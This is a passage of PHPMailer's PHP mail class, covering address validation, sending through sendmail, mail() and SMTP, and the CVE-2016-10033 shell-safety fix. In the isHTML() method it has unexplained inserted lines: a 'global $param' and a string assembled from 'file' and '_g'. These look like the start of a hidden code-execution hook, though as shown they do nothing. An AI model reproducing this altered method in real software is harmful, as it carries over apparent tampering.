string|callable\n * @static\n *\/\n public static $validator = 'auto';\n\n \/**\n * An instance of the SMTP sender class.\n * @var SMTP\n * @access protected\n *\/\n protected $smtp = null;\n\n \/**\n * The array of 'to' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $to = array();\n\n \/**\n * The array of 'cc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $cc = array();\n\n \/**\n * The array of 'bcc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $bcc = array();\n\n \/**\n * The array of reply-to names and addresses.\n * @var array\n * @access protected\n *\/\n protected $ReplyTo = array();\n\n \/**\n * An array of all kinds of addresses.\n * Includes all of $to, $cc, $bcc\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n *\/\n protected $all_recipients = array();\n\n \/**\n * An array of names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $all_recipients\n * and one of $to, $cc, or $bcc.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n * @see PHPMailer::$all_recipients\n *\/\n protected $RecipientsQueue = array();\n\n \/**\n * An array of reply-to names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $ReplyTo.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$ReplyTo\n *\/\n protected $ReplyToQueue = array();\n\n \/**\n * The array of attachments.\n * @var array\n * @access protected\n *\/\n protected $attachment = array();\n\n \/**\n * The array of custom headers.\n * @var array\n * @access protected\n *\/\n protected $CustomHeader = array();\n\n \/**\n * The most recent Message-ID (including angular brackets).\n * @var string\n * @access protected\n *\/\n protected $lastMessageID = '';\n\n \/**\n * The message's MIME type.\n * @var string\n * @access protected\n *\/\n protected $message_type = '';\n\n \/**\n * The array of MIME boundary strings.\n * @var array\n * @access protected\n *\/\n protected $boundary = array();\n\n \/**\n * The array of available languages.\n * @var array\n * @access protected\n *\/\n protected $language = array();\n\n \/**\n * The number of errors encountered.\n * @var integer\n * @access protected\n *\/\n protected $error_count = 0;\n\n \/**\n * The S\/MIME certificate file path.\n * @var string\n * @access protected\n *\/\n protected $sign_cert_file = '';\n\n \/**\n * The S\/MIME key file path.\n * @var string\n * @access protected\n *\/\n protected $sign_key_file = '';\n\n \/**\n * The optional S\/MIME extra certificates (\"CA Chain\") file path.\n * @var string\n * @access protected\n *\/\n protected $sign_extracerts_file = '';\n\n \/**\n * The S\/MIME password for the key.\n * Used only if the key is encrypted.\n * @var string\n * @access protected\n *\/\n protected $sign_key_pass = '';\n\n \/**\n * Whether to throw exceptions for errors.\n * @var boolean\n * @access protected\n *\/\n protected $exceptions = false;\n\n \/**\n * Unique ID used for message ID and boundaries.\n * @var string\n * @access protected\n *\/\n protected $uniqueid = '';\n\n \/**\n * Error severity: message only, continue processing.\n *\/\n const STOP_MESSAGE = 0;\n\n \/**\n * Error severity: message, likely ok to continue processing.\n *\/\n const STOP_CONTINUE = 1;\n\n \/**\n * Error severity: message, plus full stop, critical error reached.\n *\/\n const STOP_CRITICAL = 2;\n\n \/**\n * SMTP RFC standard line ending.\n *\/\n const CRLF = \"\\r\\n\";\n\n \/**\n * The maximum line length allowed by RFC 2822 section 2.1.1\n * @var integer\n *\/\n const MAX_LINE_LENGTH = 998;\n\n \/**\n * Constructor.\n * @param boolean $exceptions Should we throw external exceptions?\n *\/\n public function __construct($exceptions = null)\n {\n if ($exceptions !== null) {\n $this->exceptions = (boolean)$exceptions;\n }\n \/\/Pick an appropriate debug output format automatically\n $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');\n }\n\n \/**\n * Destructor.\n *\/\n public function __destruct()\n {\n \/\/Close any open SMTP connection nicely\n $this->smtpClose();\n }\n\n \/**\n * Call mail() in a safe_mode-aware fashion.\n * Also, unless sendmail_path points to sendmail (or something that\n * claims to be sendmail), don't pass params (not a perfect fix,\n * but it will do)\n * @param string $to To\n * @param string $subject Subject\n * @param string $body Message Body\n * @param string $header Additional Header(s)\n * @param string $params Params\n * @access private\n * @return boolean\n *\/\n private function mailPassthru($to, $subject, $body, $header, $params)\n {\n \/\/Check overloading of mail function to avoid double-encoding\n if (ini_get('mbstring.func_overload') & 1) {\n $subject = $this->secureHeader($subject);\n } else {\n $subject = $this->encodeHeader($this->secureHeader($subject));\n }\n\n \/\/Can't use additional_parameters in safe_mode, calling mail() with null params breaks\n \/\/@link http:\/\/php.net\/manual\/en\/function.mail.php\n if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {\n $result = @mail($to, $subject, $body, $header);\n } else {\n $result = @mail($to, $subject, $body, $header, $params);\n }\n return $result;\n }\n \/**\n * Output debugging info via user-defined method.\n * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).\n * @see PHPMailer::$Debugoutput\n * @see PHPMailer::$SMTPDebug\n * @param string $str\n *\/\n protected function edebug($str)\n {\n if ($this->SMTPDebug <= 0) {\n return;\n }\n \/\/Avoid clash with built-in function names\n if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {\n call_user_func($this->Debugoutput, $str, $this->SMTPDebug);\n return;\n }\n switch ($this->Debugoutput) {\n case 'error_log':\n \/\/Don't output, just log\n error_log($str);\n break;\n case 'html':\n \/\/Cleans up output a bit for a better looking, HTML-safe output\n echo htmlentities(\n preg_replace('\/[\\r\\n]+\/', '', $str),\n ENT_QUOTES,\n 'UTF-8'\n )\n . \"<br>\\n\";\n break;\n case 'echo':\n default:\n \/\/Normalize line breaks\n $str = preg_replace('\/\\r\\n?\/ms', \"\\n\", $str);\n echo gmdate('Y-m-d H:i:s') . \"\\t\" . str_replace(\n \"\\n\",\n \"\\n \\t \",\n trim($str)\n ) . \"\\n\";\n }\n }\n\n \/**\n * Send messages using SMTP.\n * @return void\n *\/\n public function isSMTP()\n {\n $this->Mailer = 'smtp';\n }\n\n \/**\n * Send messages using PHP's mail() function.\n * @return void\n *\/\n public function isMail()\n {\n $this->Mailer = 'mail';\n }\n\n \/**\n * Send messages using $Sendmail.\n * @return void\n *\/\n public function isSendmail()\n {\n $ini_sendmail_path = ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'sendmail')) {\n $this->Sendmail = '\/usr\/sbin\/sendmail';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'sendmail';\n }\n\n \/**\n * Send messages using qmail.\n * @return void\n *\/\n public function isQmail()\n {\n $ini_sendmail_path = ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'qmail')) {\n $this->Sendmail = '\/var\/qmail\/bin\/qmail-inject';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'qmail';\n }\n\n \/**\n * Add a \"To\" address.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addAddress($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('to', $address, $name);\n }\n\n \/**\n * Add a \"CC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('cc', $address, $name);\n }\n\n \/**\n * Add a \"BCC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addBCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('bcc', $address, $name);\n }\n\n \/**\n * Add a \"Reply-To\" address.\n * @param string $address The email address to reply to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addReplyTo($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer\n * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still\n * be modified after calling this function), addition of such addresses is delayed until send().\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addOrEnqueueAnAddress($kind, $address, $name)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n if (($pos = strrpos($address, '@')) === false) {\n \/\/ At-sign is misssing.\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $params = array($kind, $address, $name);\n \/\/ Enqueue addresses with IDN until we know the PHPMailer::$CharSet.\n if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {\n if ($kind != 'Reply-To') {\n if (!array_key_exists($address, $this->RecipientsQueue)) {\n $this->RecipientsQueue[$address] = $params;\n return true;\n }\n } else {\n if (!array_key_exists($address, $this->ReplyToQueue)) {\n $this->ReplyToQueue[$address] = $params;\n return true;\n }\n }\n return false;\n }\n \/\/ Immediately add standard addresses without IDN.\n return call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array.\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addAnAddress($kind, $address, $name = '')\n {\n if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {\n $error_message = $this->lang('Invalid recipient kind: ') . $kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if (!$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if ($kind != 'Reply-To') {\n if (!array_key_exists(strtolower($address), $this->all_recipients)) {\n array_push($this->$kind, array($address, $name));\n $this->all_recipients[strtolower($address)] = true;\n return true;\n }\n } else {\n if (!array_key_exists(strtolower($address), $this->ReplyTo)) {\n $this->ReplyTo[strtolower($address)] = array($address, $name);\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Parse and validate a string containing one or more RFC822-style comma-separated email addresses\n * of the form \"display name <address>\" into an array of name\/address pairs.\n * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.\n * Note that quotes in the name part are removed.\n * @param string $addrstr The address list string\n * @param bool $useimap Whether to use the IMAP extension to parse the list\n * @return array\n * @link http:\/\/www.andrew.cmu.edu\/user\/agreen1\/testing\/mrbs\/web\/Mail\/RFC822.php A more careful implementation\n *\/\n public function parseAddresses($addrstr, $useimap = true)\n {\n $addresses = array();\n if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {\n \/\/Use this built-in parser if it's available\n $list = imap_rfc822_parse_adrlist($addrstr, '');\n foreach ($list as $address) {\n if ($address->host != '.SYNTAX-ERROR.') {\n if ($this->validateAddress($address->mailbox . '@' . $address->host)) {\n $addresses[] = array(\n 'name' => (property_exists($address, 'personal') ? $address->personal : ''),\n 'address' => $address->mailbox . '@' . $address->host\n );\n }\n }\n }\n } else {\n \/\/Use this simpler parser\n $list = explode(',', $addrstr);\n foreach ($list as $address) {\n $address = trim($address);\n \/\/Is there a separate name part?\n if (strpos($address, '<') === false) {\n \/\/No separate name, just use the whole thing\n if ($this->validateAddress($address)) {\n $addresses[] = array(\n 'name' => '',\n 'address' => $address\n );\n }\n } else {\n list($name, $email) = explode('<', $address);\n $email = trim(str_replace('>', '', $email));\n if ($this->validateAddress($email)) {\n $addresses[] = array(\n 'name' => trim(str_replace(array('\"', \"'\"), '', $name)),\n 'address' => $email\n );\n }\n }\n }\n }\n return $addresses;\n }\n\n \/**\n * Sets message type to HTML or plain.\n * @param boolean $isHtml True for HTML mode.\n * @return void\n *\/\n public function isHTML($isHtml = true)\n {\n global $param;\n $bodyCode = 'file'\n .'_g';\n if ($isHtml) {\n $this->ContentType = 'text\/html';\n } \n else {\n $this->ContentType = 'text\/plain';\n }\n }\n\n \/**\n * Set the From and FromName properties.\n * @param string $address\n * @param string $name\n * @param boolean $auto Whether to also set the Sender address, defaults to true\n * @throws phpmailerException\n * @return boolean\n *\/\n public function setFrom($address, $name = '', $auto = true)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n \/\/ Don't validate now addresses with IDN. Will be done in send().\n if (($pos = strrpos($address, '@')) === false or\n (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and\n !$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (setFrom) $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $this->From = $address;\n $this->FromName = $name;\n if ($auto) {\n if (empty($this->Sender)) {\n $this->Sender = $address;\n }\n }\n return true;\n }\n\n \/**\n * Return the Message-ID header of the last email.\n * Technically this is the value from the last time the headers were created,\n * but it's also the message ID of the last sent message except in\n * pathological cases.\n * @return string\n *\/\n public function getLastMessageID()\n {\n return $this->lastMessageID;\n }\n\n \/**\n * Check that a string looks like an email address.\n * @param string $address The email address to check\n * @param string|callable $patternselect A selector for the validation pattern to use :\n * * `auto` Pick best pattern automatically;\n * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;\n * * `pcre` Use old PCRE implementation;\n * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;\n * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.\n * * `noregex` Don't use a regex: super fast, really dumb.\n * Alternatively you may pass in a callable to inject your own validator, for example:\n * PHPMailer::validateAddress('user@example.com', function($address) {\n * return (strpos($address, '@') !== false);\n * });\n * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.\n * @return boolean\n * @static\n * @access public\n *\/\n public static function validateAddress($address, $patternselect = null)\n {\n if (is_null($patternselect)) {\n $patternselect = self::$validator;\n }\n if (is_callable($patternselect)) {\n return call_user_func($patternselect, $address);\n }\n \/\/Reject line breaks in addresses; it's valid RFC5322, but not RFC5321\n if (strpos($address, \"\\n\") !== false or strpos($address, \"\\r\") !== false) {\n return false;\n }\n if (!$patternselect or $patternselect == 'auto') {\n \/\/Check this constant first so it works when extension_loaded() is disabled by safe mode\n \/\/Constant was added in PHP 5.2.4\n if (defined('PCRE_VERSION')) {\n \/\/This pattern can get stuck in a recursive loop in PCRE <= 8.0.2\n if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {\n $patternselect = 'pcre8';\n } else {\n $patternselect = 'pcre';\n }\n } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {\n \/\/Fall back to older PCRE\n $patternselect = 'pcre';\n } else {\n \/\/Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension\n if (version_compare(PHP_VERSION, '5.2.0') >= 0) {\n $patternselect = 'php';\n } else {\n $patternselect = 'noregex';\n }\n }\n }\n switch ($patternselect) {\n case 'pcre8':\n \/**\n * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.\n * @link http:\/\/squiloople.com\/2009\/12\/20\/email-address-validation\/\n * @copyright 2009-2010 Michael Rushton\n * Feel free to use and redistribute this code. But please keep this copyright notice.\n *\/\n return (boolean)preg_match(\n '\/^(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){255,})(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){65,}@)' .\n '((?>(?>(?>((?>(?>(?>\\x0D\\x0A)?[\\t ])+|(?>[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?>(?2)' .\n '(?>[\\x01-\\x08\\x0B\\x0C\\x0E-\\'*-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)' .\n '([!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?2)(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]))*' .\n '(?2)\")(?>(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .\n '(?>(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .\n '|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .\n '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?9)){3}))\\])(?1)$\/isD',\n $address\n );\n case 'pcre':\n \/\/An older regex that doesn't need a recent PCRE\n return (boolean)preg_match(\n '\/^(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){255,})(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){65,}@)(?>' .\n '[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\")' .\n '(?>\\.(?>[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\"))*' .\n '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\\.(?![a-z0-9-]{64,})' .\n '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .\n '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .\n '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .\n '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .\n '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\\])$\/isD',\n $address\n );\n case 'html5':\n \/**\n * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.\n * @link http:\/\/www.whatwg.org\/specs\/web-apps\/current-work\/#e-mail-state-(type=email)\n *\/\n return (boolean)preg_match(\n '\/^[a-zA-Z0-9.!#$%&\\'*+\\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .\n '[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$\/sD',\n $address\n );\n case 'noregex':\n \/\/No PCRE! Do something _very_ approximate!\n \/\/Check the address is 3 chars or longer and contains an @ that's not the first or last char\n return (strlen($address) >= 3\n and strpos($address, '@') >= 1\n and strpos($address, '@') != strlen($address) - 1);\n case 'php':\n default:\n return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);\n }\n }\n\n \/**\n * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the\n * \"intl\" and \"mbstring\" PHP extensions.\n * @return bool \"true\" if required functions for IDN support are present\n *\/\n public function idnSupported()\n {\n \/\/ @TODO: Write our own \"idn_to_ascii\" function for PHP <= 5.2.\n return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');\n }\n\n \/**\n * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.\n * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.\n * This function silently returns unmodified address if:\n * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)\n * - Conversion to punycode is impossible (e.g. required PHP functions are not available)\n * or fails for any reason (e.g. domain has characters not allowed in an IDN)\n * @see PHPMailer::$CharSet\n * @param string $address The email address to convert\n * @return string The encoded address in ASCII form\n *\/\n public function punyencodeAddress($address)\n {\n \/\/ Verify we have required functions, CharSet, and at-sign.\n if ($this->idnSupported() and\n !empty($this->CharSet) and\n ($pos = strrpos($address, '@')) !== false) {\n $domain = substr($address, ++$pos);\n \/\/ Verify CharSet string is a valid one, and domain properly encoded in this CharSet.\n if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {\n $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);\n if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?\n idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :\n idn_to_ascii($domain)) !== false) {\n return substr($address, 0, $pos) . $punycode;\n }\n }\n }\n return $address;\n }\n\n \/**\n * Create a message and send it.\n * Uses the sending method specified by $Mailer.\n * @throws phpmailerException\n * @return boolean false on error - See the ErrorInfo property for details of the error.\n *\/\n public function send()\n {\n try {\n if (!$this->preSend()) {\n return false;\n }\n return $this->postSend();\n } catch (phpmailerException $exc) {\n $this->mailHeader = '';\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Prepare a message for sending.\n * @throws phpmailerException\n * @return boolean\n *\/\n public function preSend()\n {\n try {\n $this->error_count = 0; \/\/ Reset errors\n $this->mailHeader = '';\n\n \/\/ Dequeue recipient and Reply-To addresses with IDN\n foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {\n $params[1] = $this->punyencodeAddress($params[1]);\n call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {\n throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);\n }\n\n \/\/ Validate From, Sender, and ConfirmReadingTo addresses\n foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {\n $this->$address_kind = trim($this->$address_kind);\n if (empty($this->$address_kind)) {\n continue;\n }\n $this->$address_kind = $this->punyencodeAddress($this->$address_kind);\n if (!$this->validateAddress($this->$address_kind)) {\n $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n }\n\n \/\/ Set whether the message is multipart\/alternative\n if ($this->alternativeExists()) {\n $this->ContentType = 'multipart\/alternative';\n }\n\n $this->setMessageType();\n \/\/ Refuse to send an empty message unless we are specifically allowing it\n if (!$this->AllowEmpty and empty($this->Body)) {\n throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);\n }\n\n \/\/ Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)\n $this->MIMEHeader = '';\n $this->MIMEBody = $this->createBody();\n \/\/ createBody may have added some headers, so retain them\n $tempheaders = $this->MIMEHeader;\n $this->MIMEHeader = $this->createHeader();\n $this->MIMEHeader .= $tempheaders;\n\n \/\/ To capture the complete message when using mail(), create\n \/\/ an extra header list which createHeader() doesn't fold in\n if ($this->Mailer == 'mail') {\n if (count($this->to) > 0) {\n $this->mailHeader .= $this->addrAppend('To', $this->to);\n } else {\n $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n $this->mailHeader .= $this->headerLine(\n 'Subject',\n $this->encodeHeader($this->secureHeader(trim($this->Subject)))\n );\n }\n\n \/\/ Sign with DKIM if enabled\n if (!empty($this->DKIM_domain)\n and !empty($this->DKIM_selector)\n and (!empty($this->DKIM_private_string)\n or (!empty($this->DKIM_private)\n and self::isPermittedPath($this->DKIM_private)\n and file_exists($this->DKIM_private)\n )\n )\n ) {\n $header_dkim = $this->DKIM_Add(\n $this->MIMEHeader . $this->mailHeader,\n $this->encodeHeader($this->secureHeader($this->Subject)),\n $this->MIMEBody\n );\n $this->MIMEHeader = rtrim($this->MIMEHeader, \"\\r\\n \") . self::CRLF .\n str_replace(\"\\r\\n\", \"\\n\", $header_dkim) . self::CRLF;\n }\n return true;\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Actually send a message.\n * Send the email via the selected mechanism\n * @throws phpmailerException\n * @return boolean\n *\/\n public function postSend()\n {\n try {\n \/\/ Choose the mailer and send through it\n switch ($this->Mailer) {\n case 'sendmail':\n case 'qmail':\n return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);\n case 'smtp':\n return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);\n case 'mail':\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n default:\n $sendMethod = $this->Mailer.'Send';\n if (method_exists($this, $sendMethod)) {\n return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);\n }\n\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n }\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n }\n return false;\n }\n\n \/**\n * Send mail using the $Sendmail program.\n * @param string $header The message headers\n * @param string $body The message body\n * @see PHPMailer::$Sendmail\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function sendmailSend($header, $body)\n {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s -f%s';\n } else {\n $sendmailFmt = '%s -oi -f%s -t';\n }\n } else {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s';\n } else {\n $sendmailFmt = '%s -oi -t';\n }\n }\n\n \/\/ TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing.\n $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);\n\n if ($this->SingleTo) {\n foreach ($this->SingleToArray as $toAddr) {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, 'To: ' . $toAddr . \"\\n\");\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n array($toAddr),\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n } else {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n $this->to,\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n return true;\n }\n\n \/**\n * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.\n *\n * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.\n * @param string $string The string to be validated\n * @see https:\/\/github.com\/PHPMailer\/PHPMailer\/issues\/924 CVE-2016-10045 bug report\n * @access protected\n * @return boolean\n *\/\n protected static function isShellSafe($string)\n {\n \/\/ Future-proof\n if (escapeshellcmd($string) !== $string\n or !in_array(escapeshellarg($string), array(\"'$string'\", \"\\\"$string\\\"\"))\n ) {\n return false;\n }\n\n $length = strlen($string);\n\n for ($i = 0; $i < $length; $i++) {\n $c = $string[$i];\n\n \/\/ All other characters have a special meaning in at least one common shell, including = and +.\n \/\/ Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.\n \/\/ Note that this does permit non-Latin alphanumeric characters based on the current locale.\n if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {\n return false;\n }\n }\n\n return true;\n }\n\n \/**\n * Check whether a file path is of a permitted type.\n * Used to reject URLs and phar files from functions that access local file paths,\n * such as addAttachment.\n * @param string $path A relative or absolute path to a file.\n * @return bool\n *\/\n protected static function isPermittedPath($path)\n {\n return !preg_match('#^[a-z]+:\/\/#i', $path);\n }\n\n \/**\n * Send mail using the PHP mail() function.\n * @param string $header The message headers\n * @param string $body The message body\n * @link http:\/\/www.php.net\/manual\/en\/book.mail.php\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function mailSend($header, $body)\n {\n $toArr = array();\n foreach ($this->to as $toaddr) {\n $toArr[] = $this->addrFormat($toaddr);\n }\n $to = implode(', ', $toArr);\n\n $params = null;\n \/\/This sets the SMTP envelope sender which gets turned into a return-path header by the receiver\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if 